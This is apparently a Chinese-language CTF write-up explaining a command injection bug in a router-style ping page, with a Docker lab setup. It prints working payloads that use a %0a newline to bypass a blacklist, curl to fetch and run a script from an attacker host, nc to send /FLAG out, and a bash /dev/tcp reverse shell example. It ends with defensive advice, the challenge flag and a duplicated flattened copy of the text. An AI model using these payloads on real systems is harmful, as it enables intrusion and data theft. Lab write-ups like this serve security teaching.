CTFer成长之路之命令执行漏洞
字数 952 2025-08-11 17:40:34

命令执行漏洞实战:CTF死亡ping命令绕过技术详解

漏洞背景

命令执行漏洞是Web安全中常见的高危漏洞之一,攻击者能够通过精心构造的输入在服务器上执行任意系统命令。本案例来自一个CTF题目,模拟了路由器管理台中常见的网络ping测试功能,开发者虽然设置了黑名单过滤,但存在绕过可能。

环境搭建

题目提供了docker-compose.yml文件,可以快速搭建测试环境:

version: "3.2"

services:
  converter:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
    ports:
      - 80:80

启动命令:

docker-compose up -d

漏洞分析

黑名单过滤机制

通过测试发现系统存在黑名单过滤,当输入包含恶意字符时会显示"IP包含恶意字符"。经过fuzz测试确认过滤了以下字符:

" (双引号)

关键绕过技术

使用%0a(URL编码的换行符)可以注入新命令:

  • %0a在Linux系统中表示换行符
  • 可以用于分隔多条命令,实现命令注入

漏洞利用步骤

1. 准备攻击脚本

由于目标环境限制:

  • 没有bash、python程序
  • sh反弹不可行(如bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

创建1.sh文件,内容为:

ls
cat /FLAG | nc 192.168.10.3 8080

2. 分阶段执行攻击

阶段一:下载攻击脚本

127.0.0.1%0acurl 192.168.10.3/1.sh > /tmp/1.sh
  • 使用%0a注入curl命令
  • 将攻击脚本下载到目标服务器的/tmp目录

阶段二:赋予执行权限

127.0.0.1%0achmod 777 /tmp/1.sh
  • 修改脚本权限使其可执行

阶段三:执行攻击脚本

127.0.0.1%0ash /tmp/1.sh
  • 执行下载的脚本

3. 接收flag

在攻击机(192.168.10.3)上监听8080端口:

nc -l 8080

脚本执行后会通过netcat将flag发送到攻击机。

防御建议

  1. 输入验证

    • 使用白名单而非黑名单
    • 严格限制输入格式(如只允许IP地址格式)
  2. 命令执行安全

    • 避免直接拼接用户输入到系统命令
    • 使用安全的API替代系统命令调用
  3. 权限控制

    • 降低Web服务运行权限
    • 限制敏感目录的写入权限
  4. 过滤特殊字符

    • 除了引号,还应过滤;&|$%0a

总结

本案例展示了如何利用换行符%0a绕过简单的黑名单过滤实现命令注入。关键在于:

  1. 识别过滤机制
  2. 找到未被过滤的特殊字符
  3. 分阶段执行复杂命令
  4. 利用网络工具外传数据

Flag: n1book{6fa82809179d7f19c67259aa285a7729}

通过这个案例,安全人员可以更好地理解命令注入漏洞的原理和利用方式,从而在开发中采取更有效的防护措施。

命令执行漏洞实战:CTF死亡ping命令绕过技术详解 漏洞背景 命令执行漏洞是Web安全中常见的高危漏洞之一,攻击者能够通过精心构造的输入在服务器上执行任意系统命令。本案例来自一个CTF题目,模拟了路由器管理台中常见的网络ping测试功能,开发者虽然设置了黑名单过滤,但存在绕过可能。 环境搭建 题目提供了docker-compose.yml文件,可以快速搭建测试环境: 启动命令: 漏洞分析 黑名单过滤机制 通过测试发现系统存在黑名单过滤,当输入包含恶意字符时会显示"IP包含恶意字符"。经过fuzz测试确认过滤了以下字符: 关键绕过技术 使用 %0a (URL编码的换行符)可以注入新命令: %0a 在Linux系统中表示换行符 可以用于分隔多条命令,实现命令注入 漏洞利用步骤 1. 准备攻击脚本 由于目标环境限制: 没有bash、python程序 sh反弹不可行(如 bash -i >& /dev/tcp/127.0.0.1/8080 0>&1 ) 创建1.sh文件,内容为: 2. 分阶段执行攻击 阶段一:下载攻击脚本 使用 %0a 注入curl命令 将攻击脚本下载到目标服务器的/tmp目录 阶段二:赋予执行权限 修改脚本权限使其可执行 阶段三:执行攻击脚本 执行下载的脚本 3. 接收flag 在攻击机(192.168.10.3)上监听8080端口: 脚本执行后会通过netcat将flag发送到攻击机。 防御建议 输入验证 : 使用白名单而非黑名单 严格限制输入格式(如只允许IP地址格式) 命令执行安全 : 避免直接拼接用户输入到系统命令 使用安全的API替代系统命令调用 权限控制 : 降低Web服务运行权限 限制敏感目录的写入权限 过滤特殊字符 : 除了引号,还应过滤 ; 、 & 、 | 、 $ 、 %0a 等 总结 本案例展示了如何利用换行符 %0a 绕过简单的黑名单过滤实现命令注入。关键在于: 识别过滤机制 找到未被过滤的特殊字符 分阶段执行复杂命令 利用网络工具外传数据 Flag: n1book{6fa82809179d7f19c67259aa285a7729} 通过这个案例,安全人员可以更好地理解命令注入漏洞的原理和利用方式,从而在开发中采取更有效的防护措施。